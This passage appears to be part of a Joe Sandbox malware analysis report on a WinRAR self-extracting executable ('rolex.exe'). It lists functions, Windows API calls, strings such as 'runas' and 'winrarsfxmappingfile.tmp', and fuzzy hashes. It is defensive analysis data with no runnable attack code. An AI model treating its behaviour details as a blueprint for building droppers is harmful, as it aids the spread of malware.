String ID: ASKNEXTVOL
API String ID: 2638039312-3402441367
Opcode ID: dcd268aa3fbf12e0d7b9e6ebcb2085d3825137d47b75af17d5842d9a86e293fc
Instruction ID: 889f32d87472f02ed05f26c092d847bb7e21b016b26d2660904a9dbf12104ac1
Opcode Fuzzy Hash: dcd268aa3fbf12e0d7b9e6ebcb2085d3825137d47b75af17d5842d9a86e293fc
Instruction Fuzzy Hash: 2841822AA0C6C281FA109B11E9582B963A1BF85FC9F1C4035DE9DA7797DF3DEC518341

Function 00007FF655939638 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6559396EA

Part of subcall function 00007FF655940F68: WideCharToMultiByte.KERNEL32 ref: 00007FF655940F99

Strings

$%s, xrefs: 00007FF6559396D7
@%s, xrefs: 00007FF6559396CE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction ID: 35474566a6823b6f65f68e9dae0a3f8bc940510f5318fdf66b08961dc6b22fa8
Opcode Fuzzy Hash: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction Fuzzy Hash: 4831C37AB19A8B86EA108F65D4483A927A0FB44FCCF490032DE0D67796DF3CE905C740

Function 00007FF655950204 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF65595026F
DialogBoxParamW.USER32 ref: 00007FF6559502A4

Strings

GETPASSWORD1, xrefs: 00007FF65595029D

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 3689008c5ae976a1f3a242e5b1eb30ef9737a63c20829ff4d7ba5964f065d3d0
Instruction ID: aef18f7adda94019ef782c4e5b784f855210c3190c44bdba5b8c66e47d6d8a36
Opcode Fuzzy Hash: 3689008c5ae976a1f3a242e5b1eb30ef9737a63c20829ff4d7ba5964f065d3d0
Instruction Fuzzy Hash: EE314D2DA0C7C285EB008B22A8580B92B61AF45F88F8C4035DA9DB7767DF2DFC54C351

Function 00007FF65595EB04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF65595EB76
GetFileType.KERNEL32 ref: 00007FF65595EB8C

Strings

@, xrefs: 00007FF65595EBB7

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction ID: a4d6e8fd14379eb1c80577b84474b1c2a72d74a8bd3c3183be0c5e3eb471c8f9
Opcode Fuzzy Hash: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction Fuzzy Hash: B621A126E086C241EB708B2694981382659EF45B7AF2C0379D66FA67D5CF3EDC95C201

Function 00007FF655954078 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF655951D3E), ref: 00007FF6559540BC
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF655951D3E), ref: 00007FF655954102

Strings

csm, xrefs: 00007FF6559540EF

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction ID: 89a510b23fd96e3fabb6a4ef45c85fbfcef4ed13f8e440a7661f26d9c7c232c0
Opcode Fuzzy Hash: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction Fuzzy Hash: 55116D36608B8182EB608B25E44426977E0FB88F88F2C4230DF8C57755DF3CC965C700

Function 00007FF65593EA5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF65593E95F,?,?,?,00007FF65593463A,?,?,?), ref: 00007FF65593EA63
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF65593E95F,?,?,?,00007FF65593463A,?,?,?), ref: 00007FF65593EA6E

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF65593EA78

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction ID: 51549a31964d292f86f33495fae6c9172e3107d0ff85bd555569100ca47edddb
Opcode Fuzzy Hash: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction Fuzzy Hash: 2EE01A2DE1998281F600A7249C4E4B826927F60FB8FAC4330D03EE15E39F2CAD498341

Function 00007FF65593A43C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF65593A447
FindResourceW.KERNEL32 ref: 00007FF65593A45D

Strings

RTL, xrefs: 00007FF65593A453

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction ID: dd44111329cd88169ff4cce313bac9b10bbd2d0473b6c0cec8bfb65dd15181a8
Opcode Fuzzy Hash: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction Fuzzy Hash: 6AD05EA9F0978282FF194B71A45D37412905F18F49F8D9038C84E9A392EF2CD8CCC791

Analysis Process: rolex.exePID: 6584, Parent PID: 3488COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00007FF7AB4BB190 Relevance: 125.7, APIs: 61, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB49255C: GetDlgItem.USER32 ref: 00007FF7AB4925AC
Part of subcall function 00007FF7AB49255C: SetDlgItemTextW.USER32 ref: 00007FF7AB4925C8

EndDialog.USER32 ref: 00007FF7AB4BB2D0
SetDlgItemTextW.USER32 ref: 00007FF7AB4BB320
GetMessageW.USER32 ref: 00007FF7AB4BB350
IsDialogMessageW.USER32 ref: 00007FF7AB4BB369
TranslateMessage.USER32 ref: 00007FF7AB4BB37B
DispatchMessageW.USER32 ref: 00007FF7AB4BB389
EndDialog.USER32 ref: 00007FF7AB4BB3D3
GetDlgItem.USER32 ref: 00007FF7AB4BB410
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BB431
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BB449
SetFocus.USER32 ref: 00007FF7AB4BB452
GetLastError.KERNEL32 ref: 00007FF7AB4BB634
GetLastError.KERNEL32 ref: 00007FF7AB4BB665
GetTickCount.KERNEL32 ref: 00007FF7AB4BB68B
GetLastError.KERNEL32 ref: 00007FF7AB4BB6F5
GetCommandLineW.KERNEL32 ref: 00007FF7AB4BB841
CreateFileMappingW.KERNEL32 ref: 00007FF7AB4BB900
MapViewOfFile.KERNEL32 ref: 00007FF7AB4BB923
ShellExecuteExW.SHELL32 ref: 00007FF7AB4BB95B
Sleep.KERNEL32 ref: 00007FF7AB4BB9B6
UnmapViewOfFile.KERNEL32 ref: 00007FF7AB4BB9DF
CloseHandle.KERNEL32 ref: 00007FF7AB4BB9E8
SetDlgItemTextW.USER32 ref: 00007FF7AB4BBCDE
DialogBoxParamW.USER32 ref: 00007FF7AB4BC0D7
EndDialog.USER32 ref: 00007FF7AB4BC0EF
EnableWindow.USER32 ref: 00007FF7AB4BC2A6
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BC2F8
WaitForInputIdle.USER32 ref: 00007FF7AB4BB9A3

Part of subcall function 00007FF7AB4AAAE0: LoadStringW.USER32 ref: 00007FF7AB4AAB67
Part of subcall function 00007FF7AB4AAAE0: LoadStringW.USER32 ref: 00007FF7AB4AAB80

IsDlgButtonChecked.USER32 ref: 00007FF7AB4BBEC3
SendDlgItemMessageW.USER32 ref: 00007FF7AB4BBEEA
GetDlgItem.USER32 ref: 00007FF7AB4BBEF8
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BBF12
GetDlgItem.USER32 ref: 00007FF7AB4BBF4F
SetDlgItemTextW.USER32 ref: 00007FF7AB4BBFEC
SetDlgItemTextW.USER32 ref: 00007FF7AB4BC004
SetDlgItemTextW.USER32 ref: 00007FF7AB4BC321
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC363
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC369
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC36F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BC381
SendDlgItemMessageW.USER32 ref: 00007FF7AB4BC449
EndDialog.USER32 ref: 00007FF7AB4BC463
GetDlgItem.USER32 ref: 00007FF7AB4BC491
SetFocus.USER32 ref: 00007FF7AB4BC49A
SendDlgItemMessageW.USER32 ref: 00007FF7AB4BC53E
FindFirstFileW.KERNEL32 ref: 00007FF7AB4BC562
FindClose.KERNEL32 ref: 00007FF7AB4BC68A
SendDlgItemMessageW.USER32 ref: 00007FF7AB4BC7AF

Part of subcall function 00007FF7AB49129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB491396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCAA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCAAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCAB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCABB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCAC1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCAC7

Strings

p, xrefs: 00007FF7AB4BB7AB
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF7AB4BB799
STARTDLG, xrefs: 00007FF7AB4BB1CA
@, xrefs: 00007FF7AB4BB7B6
%s %s, xrefs: 00007FF7AB4BC6D9, 00007FF7AB4BC946
__tmp_rar_sfx_access_check_, xrefs: 00007FF7AB4BB6A9
winrarsfxmappingfile.tmp, xrefs: 00007FF7AB4BB8E0
REPLACEFILEDLG, xrefs: 00007FF7AB4BC3D3
LICENSEDLG, xrefs: 00007FF7AB4BC0C9
runas, xrefs: 00007FF7AB4BB7C9

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Item$_invalid_parameter_noinfo_noreturn$Message$DialogText$ButtonChecked$FileSend$ErrorLast$CloseFindFocusLoadStringView$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleIdleInputLineMappingParamShellSleepTickTranslateUnmapWaitWindow
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 2128803032-2702805183
Opcode ID: 44c66d4143957b758382f86cfa4081ed6d928b54fc22ddb9a7340f649bf70bb4
Instruction ID: fdba8a4c4d8875d52f6723824b07296e9edc83b634d9e8cbeb952fc021723e7b
Opcode Fuzzy Hash: 44c66d4143957b758382f86cfa4081ed6d928b54fc22ddb9a7340f649bf70bb4
Instruction Fuzzy Hash: 96D28662A0F78291EA20BB7DE8546F9A361EF85B80FC24135DA4D076B6DF3DE544C720

Function 00007FF7AB4BCE88 Relevance: 66.7, APIs: 27, Strings: 10, Instructions: 1963fileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7AB4BD5F3
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BD626
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BD655
SHFileOperationW.SHELL32 ref: 00007FF7AB4BD9BB
MoveFileW.KERNEL32 ref: 00007FF7AB4BDB4B
MoveFileExW.KERNEL32 ref: 00007FF7AB4BDB69
GetTempPathW.KERNEL32 ref: 00007FF7AB4BDC49

Part of subcall function 00007FF7AB491FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB491FFB

EndDialog.USER32 ref: 00007FF7AB4BDFCA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4BEEE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEEEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF07
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF0D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF13
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF2B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BEF5B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4BEF67
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4BEF73

Strings

lnk, xrefs: 00007FF7AB4BE3CA, 00007FF7AB4BE3D9
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF7AB4BD501
MIN, xrefs: 00007FF7AB4BEAE5, 00007FF7AB4BEAF4
<br>, xrefs: 00007FF7AB4BD6DA, 00007FF7AB4BD6E9
.tmp, xrefs: 00007FF7AB4BDA85
HIDE, xrefs: 00007FF7AB4BE9E5, 00007FF7AB4BE9F4
ProgramFilesDir, xrefs: 00007FF7AB4BD4F0
@set:user, xrefs: 00007FF7AB4BDD96, 00007FF7AB4BDDA5
.lnk, xrefs: 00007FF7AB4BE406, 00007FF7AB4BE415
MAX, xrefs: 00007FF7AB4BEA82, 00007FF7AB4BEA91

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskFile$ButtonCheckedMove$DialogItemOperationPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 2285161090-3916287355
Opcode ID: e530fa976c247d03843a71bdcb8ea7d5b705ef19b124f0053bbcc44abdb5d3bc
Instruction ID: efc2e8aa5903ceb3c1aaf1cea86fe8ca93c4f906e7a6f784797df8be23423385
Opcode Fuzzy Hash: e530fa976c247d03843a71bdcb8ea7d5b705ef19b124f0053bbcc44abdb5d3bc
Instruction Fuzzy Hash: 3813A022B06B8295EB10EFB8D8402EC67B1EB44798F820535DB5D17AF9DF38E595C360

Function 00007FF7AB4C0754 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 380
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AB4ADFD0: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE018
Part of subcall function 00007FF7AB4ADFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE030
Part of subcall function 00007FF7AB4ADFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE05D

Part of subcall function 00007FF7AB4A62DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7AB4A62F2
Part of subcall function 00007FF7AB4A62DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7AB4A632C

Part of subcall function 00007FF7AB4B946C: OleInitialize.OLE32 ref: 00007FF7AB4B9486
Part of subcall function 00007FF7AB4B946C: SHGetMalloc.SHELL32 ref: 00007FF7AB4B94D4

GetCommandLineW.KERNEL32 ref: 00007FF7AB4C096E
OpenFileMappingW.KERNEL32 ref: 00007FF7AB4C0A07
MapViewOfFile.KERNEL32 ref: 00007FF7AB4C0A30
UnmapViewOfFile.KERNEL32 ref: 00007FF7AB4C0A46
MapViewOfFile.KERNEL32 ref: 00007FF7AB4C0A63
UnmapViewOfFile.KERNEL32 ref: 00007FF7AB4C0ACA
CloseHandle.KERNEL32 ref: 00007FF7AB4C0AD3
SetEnvironmentVariableW.KERNELBASE ref: 00007FF7AB4C0BAD
GetLocalTime.KERNEL32 ref: 00007FF7AB4C0BB8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AB4C0C13
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7AB4C0C26
GetModuleHandleW.KERNEL32 ref: 00007FF7AB4C0C2E
LoadIconW.USER32 ref: 00007FF7AB4C0C4D
DialogBoxParamW.USER32 ref: 00007FF7AB4C0CB6
Sleep.KERNEL32 ref: 00007FF7AB4C0CE6
DeleteObject.GDI32 ref: 00007FF7AB4C0D0D
DeleteObject.GDI32 ref: 00007FF7AB4C0D1F
CloseHandle.KERNEL32 ref: 00007FF7AB4C0D67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C0DD7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C0DDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4C0DE3

Part of subcall function 00007FF7AB4BFD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF7AB4BFD43
Part of subcall function 00007FF7AB4BFD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF7AB4BFDBC

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF7AB4C0C02
sfxstime, xrefs: 00007FF7AB4C0C1F
STARTDLG, xrefs: 00007FF7AB4C0CA5
winrarsfxmappingfile.tmp, xrefs: 00007FF7AB4C09F9
sfxname, xrefs: 00007FF7AB4C0B9B

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 1048086575-3710569615
Opcode ID: d5ff2d27d4a47c3e78c3dd13211a1c1de422b0d8b6c9155afaadc84a8e0932e8
Instruction ID: 3fa513fb462e2a6c13f4476274422283d914929ecece555d79def0e54cc43c90
Opcode Fuzzy Hash: d5ff2d27d4a47c3e78c3dd13211a1c1de422b0d8b6c9155afaadc84a8e0932e8
Instruction Fuzzy Hash: 0C126661A1AB8281EB10EB6CE8452B9E761FF85B44FC14235DA9D47BB6DF3CE140C720

Function 00007FF7AB4AA4AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AB4AA504

Part of subcall function 00007FF7AB4B0F68: WideCharToMultiByte.KERNEL32 ref: 00007FF7AB4B0F99

SetDlgItemTextW.USER32 ref: 00007FF7AB4AA573
GetWindowRect.USER32 ref: 00007FF7AB4AA5AD
GetClientRect.USER32 ref: 00007FF7AB4AA5BB
GetWindowLongPtrW.USER32 ref: 00007FF7AB4AA66C
GetWindowRect.USER32 ref: 00007FF7AB4AA6B2
SetDlgItemTextW.USER32 ref: 00007FF7AB4AA6EC
GetSystemMetrics.USER32 ref: 00007FF7AB4AA6F7
GetWindow.USER32 ref: 00007FF7AB4AA708
GetWindowRect.USER32 ref: 00007FF7AB4AA746
GetWindow.USER32 ref: 00007FF7AB4AA808

Strings

CAPTION, xrefs: 00007FF7AB4AA6CF
$%s:, xrefs: 00007FF7AB4AA4EF

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

